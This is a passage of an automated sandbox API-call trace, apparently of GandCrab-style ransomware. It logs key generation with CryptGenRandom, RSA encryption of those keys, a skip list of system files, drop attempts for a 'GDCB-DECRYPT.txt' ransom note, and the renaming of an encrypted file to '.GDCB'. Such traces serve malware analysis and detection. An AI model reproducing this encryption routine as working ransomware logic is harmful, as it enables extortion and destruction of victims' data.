returned 1 [0171.521] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x6182e8) returned 1 [0171.522] CryptGetKeyParam (in: hKey=0x6182e8, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0171.522] CryptEncrypt (in: hKey=0x6182e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2c30000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x2c30000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0171.522] GetLastError () returned 0x0 [0171.522] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0171.522] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0171.524] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x617f68) returned 1 [0171.524] CryptGetKeyParam (in: hKey=0x617f68, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0171.524] CryptEncrypt (in: hKey=0x617f68, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2c40000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x2c40000*, pdwDataLen=0x285d120*=0x100) returned 1 [0171.524] GetLastError () returned 0x0 [0171.524] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0171.524] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\CLR_v4.0\\UsageLogs\\powershell.exe.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\clr_v4.0\\usagelogs\\powershell.exe.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.524] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\CLR_v4.0\\UsageLogs\\sdiagnhost.exe.log") returned 270 [0171.524] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\CLR_v4.0\\UsageLogs\\sdiagnhost.exe.log") returned 270 [0171.524] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\CLR_v4.0\\UsageLogs\\sdiagnhost.exe.log") returned 270 [0171.524] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\CLR_v4.0\\UsageLogs\\sdiagnhost.exe.log") returned 270 [0171.524] lstrcmpiW (lpString1="sdiagnhost.exe.log", lpString2="desktop.ini") returned 1 [0171.524] lstrcmpiW (lpString1="sdiagnhost.exe.log", lpString2="autorun.inf") returned 1 [0171.524] lstrcmpiW (lpString1="sdiagnhost.exe.log", lpString2="ntuser.dat") returned 1 [0171.524] lstrcmpiW (lpString1="sdiagnhost.exe.log", lpString2="iconcache.db") returned 1 [0171.524] lstrcmpiW (lpString1="sdiagnhost.exe.log", lpString2="bootsect.bak") returned 1 [0171.524] lstrcmpiW (lpString1="sdiagnhost.exe.log", lpString2="boot.ini") returned 1 [0171.524] lstrcmpiW (lpString1="sdiagnhost.exe.log", lpString2="ntuser.dat.log") returned 1 [0171.524] lstrcmpiW (lpString1="sdiagnhost.exe.log", lpString2="thumbs.db") returned -1 [0171.524] lstrcmpiW (lpString1="sdiagnhost.exe.log", lpString2="GDCB-DECRYPT.txt") returned 1 [0171.524] GetFileAttributesW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\CLR_v4.0\\UsageLogs\\sdiagnhost.exe.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\clr_v4.0\\usagelogs\\sdiagnhost.exe.log")) returned 0xffffffff [0171.525] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\CLR_v4.0\\UsageLogs\\sdiagnhost.exe.log", dwFileAttributes=0xfffffffe) returned 0 [0171.525] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0171.525] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0171.525] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0171.525] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0171.525] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0171.525] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0171.526] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0171.526] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0171.526] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0171.526] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0171.526] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0171.528] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x617fe8) returned 1 [0171.528] CryptGetKeyParam (in: hKey=0x617fe8, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0171.528] CryptEncrypt (in: hKey=0x617fe8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2c50000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x2c50000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0171.528] GetLastError () returned 0x0 [0171.528] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0171.528] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0171.530] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x617ae8) returned 1 [0171.530] CryptGetKeyParam (in: hKey=0x617ae8, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0171.530] CryptEncrypt (in: hKey=0x617ae8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2c60000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x2c60000*, pdwDataLen=0x285d120*=0x100) returned 1 [0171.530] GetLastError () returned 0x0 [0171.530] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0171.530] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\CLR_v4.0\\UsageLogs\\sdiagnhost.exe.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\clr_v4.0\\usagelogs\\sdiagnhost.exe.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.531] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0171.531] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0171.531] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0171.531] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0171.531] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\CLR_v4.0_32\\\\GDCB-DECRYPT.txt") returned 262 [0171.531] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\CLR_v4.0_32\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\clr_v4.0_32\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.531] GetLastError () returned 0x3 [0171.531] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\CLR_v4.0_32\\ngen.log") returned 253 [0171.531] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\CLR_v4.0_32\\ngen.log") returned 253 [0171.532] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\CLR_v4.0_32\\ngen.log") returned 253 [0171.532] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\CLR_v4.0_32\\ngen.log") returned 253 [0171.532] lstrcmpiW (lpString1="ngen.log", lpString2="desktop.ini") returned 1 [0171.532] lstrcmpiW (lpString1="ngen.log", lpString2="autorun.inf") returned 1 [0171.532] lstrcmpiW (lpString1="ngen.log", lpString2="ntuser.dat") returned -1 [0171.532] lstrcmpiW (lpString1="ngen.log", lpString2="iconcache.db") returned 1 [0171.532] lstrcmpiW (lpString1="ngen.log", lpString2="bootsect.bak") returned 1 [0171.532] lstrcmpiW (lpString1="ngen.log", lpString2="boot.ini") returned 1 [0171.532] lstrcmpiW (lpString1="ngen.log", lpString2="ntuser.dat.log") returned -1 [0171.532] lstrcmpiW (lpString1="ngen.log", lpString2="thumbs.db") returned -1 [0171.532] lstrcmpiW (lpString1="ngen.log", lpString2="GDCB-DECRYPT.txt") returned 1 [0171.532] GetFileAttributesW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\CLR_v4.0_32\\ngen.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\clr_v4.0_32\\ngen.log")) returned 0x20 [0171.532] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\CLR_v4.0_32\\ngen.log", dwFileAttributes=0x20) returned 1 [0171.534] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0171.535] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0171.535] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0171.535] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0171.535] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0171.535] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4430) returned 1 [0171.535] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0171.536] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0171.536] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0171.536] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0171.536] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4980) returned 1 [0171.538] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x617ee8) returned 1 [0171.538] CryptGetKeyParam (in: hKey=0x617ee8, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0171.538] CryptEncrypt (in: hKey=0x617ee8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2c70000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x2c70000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0171.538] GetLastError () returned 0x0 [0171.538] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0171.538] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0171.540] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x617428) returned 1 [0171.540] CryptGetKeyParam (in: hKey=0x617428, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0171.540] CryptEncrypt (in: hKey=0x617428, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2c80000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x2c80000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0171.540] GetLastError () returned 0x0 [0171.540] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0171.540] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\CLR_v4.0_32\\ngen.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\clr_v4.0_32\\ngen.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0171.543] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2c90000 [0171.543] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x2ca0000 [0171.544] ReadFile (in: hFile=0x514, lpBuffer=0x2ca0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0x2ca0000*, lpNumberOfBytesRead=0x285d3e8*=0x2ef, lpOverlapped=0x0) returned 1 [0171.564] VirtualAlloc (lpAddress=0x0, dwSize=0x2f0, flAllocationType=0x3000, flProtect=0x4) returned 0x2db0000 [0171.567] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\CLR_v4.0_32\\ngen.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\clr_v4.0_32\\ngen.log"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\CLR_v4.0_32\\ngen.log.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\clr_v4.0_32\\ngen.log.gdcb")) returned 1 [0171.570] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0171.570] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0171.570] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0171.570] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0171.582] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\CLR_v4.0_32\\UsageLogs\\\\GDCB-DECRYPT.txt") returned 272 [0171.582] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\CLR_v4.0_32\\UsageLogs\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\clr_v4.0_32\\usagelogs\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.582] GetLastError () returned 0x3 [0171.582] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\CLR_v4.0_32\\UsageLogs\\NGenTask.exe.log") returned 271 [0171.582] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\CLR_v4.0_32\\UsageLogs\\NGenTask.exe.log") returned 271 [0171.582] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\CLR_v4.0_32\\UsageLogs\\NGenTask.exe.log") returned 271 [0171.582] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\CLR_v4.0_32\\UsageLogs\\NGenTask.exe.log") returned 271 [0171.582] lstrcmpiW (lpString1="NGenTask.exe.log", lpString2="desktop.ini") returned 1 [0171.583] lstrcmpiW (lpString1="NGenTask.exe.log", lpString2="autorun.inf") returned 1 [0171.583] lstrcmpiW (lpString1="NGenTask.exe.log", lpString2="ntuser.dat") returned -1 [0171.583] lstrcmpiW (lpString1="NGenTask.exe.log", lpString2="iconcache.db") returned 1 [0171.583] lstrcmpiW (lpString1="NGenTask.exe.log", lpString2="bootsect.bak") returned 1 [0171.583] lstrcmpiW (lpString1="NGenTask.exe.log", lpString2="boot.ini") returned 1 [0171.583] lstrcmpiW (lpString1="NGenTask.exe.log", lpString2="ntuser.dat.log") returned -1 [0171.583] lstrcmpiW (lpString1="NGenTask.exe.log", lpString2="thumbs.db") returned -1 [0171.583] lstrcmpiW (lpString1="NGenTask.exe.log", lpString2="GDCB-DECRYPT.txt") returned 1 [0171.583] GetFileAttributesW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\CLR_v4.0_32\\UsageLogs\\NGenTask.exe.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\clr_v4.0_32\\usagelogs\\ngentask.exe.log")) returned 0xffffffff [0171.583] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\CLR_v4.0_32\\UsageLogs\\NGenTask.exe.log", dwFileAttributes=0xfffffffe) returned 0 [0171.583] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4540) returned 1 [0171.583] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0171.583] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0171.583] CryptGenRandom (in: hProv=0x5c4540, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0171.584] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0171.584] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0171.584] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0171.584] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0171.584] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0171.584] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0171.584] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0171.586] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x6177e8) returned 1 [0171.586] CryptGetKeyParam (in: hKey=0x6177e8, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0171.587] CryptEncrypt (in: hKey=0x6177e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2c70000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x2c70000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0171.587] GetLastError () returned 0x0 [0171.587] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0171.587] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4540) returned 1 [0171.589] CryptImportKey (in: hProv=0x5c4540, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x617368) returned 1 [0171.589] CryptGetKeyParam (in: hKey=0x617368, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0171.589] CryptEncrypt (in: hKey=0x617368, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2c80000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x2c80000*, pdwDataLen=0x285d120*=0x100) returned 1 [0171.589] GetLastError () returned 0x0 [0171.589] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0171.589] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\CLR_v4.0_32\\UsageLogs\\NGenTask.exe.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\clr_v4.0_32\\usagelogs\\ngentask.exe.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.590] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0171.590] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0171.590] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0171.590] SHGetSpecialFolderPathW (in: hwnd=0x0, 